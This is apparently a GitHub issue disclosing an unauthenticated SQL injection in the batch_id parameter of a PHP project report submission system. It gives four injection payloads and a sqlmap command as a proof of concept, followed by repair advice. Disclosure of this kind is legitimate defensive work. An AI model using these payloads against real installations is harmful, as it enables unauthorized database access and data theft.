-
Notifications
You must be signed in to change notification settings - Fork 0
Description
Projectworlds Online Project Report Submission and Evaluation System Project V1.0 /rse/admin/controller/delete_group_student.php?batch_id=2 SQL injection
NAME OF AFFECTED PRODUCT(S)
- Online Project Report Submission and Evaluation System
Vendor Homepage
- 1000projects.org
AFFECTED AND/OR FIXED VERSION(S)
submitter
- yunhdeng
Vulnerable File
- /rse/admin/controller/delete_group_student.php?batch_id=2
VERSION(S)
- V1.0
Software Link
PROBLEM TYPE
Vulnerability Type
- SQL injection
Root Cause
- A SQL injection vulnerability was found in the '/rse/admin/controller/delete_group_student.php?batch_id=2 ' file of the 'Online Project Report Submission and Evaluation System' project. The reason for this issue is that attackers inject malicious code from the parameter ' batch_id‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
Impact
- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
DESCRIPTION
- During the security review of "Online Project Report Submission and Evaluation System",I discovered a critical SQL injection vulnerability in the "/rse/admin/controller/delete_group_student.php?batch_id=2" file. This vulnerability stems from insufficient user input validation of the ' batch_id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.
No login or authorization is required to exploit this vulnerability
Vulnerability details and POC
Vulnerability lonameion:
- ' batch_id' parameter
Payload:
Parameter: batch_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: batch_id=2' AND 8083=8083 AND 'bKqB'='bKqB
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: batch_id=2' AND GTID_SUBSET(CONCAT(0x7162626b71,(SELECT (ELT(1425=1425,1))),0x717a6b7a71),1425) AND 'CEbX'='CEbX
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: batch_id=2';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: batch_id=2' AND (SELECT 5331 FROM (SELECT(SLEEP(5)))pfBU) AND 'qqfa'='qqfa
The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
《sqlmap -u "http://10.20.33.16/rse/admin/controller/delete_group_student.php?batch_id=2" --dbs》

Suggested repair
-
Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. -
Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format. -
Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. -
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.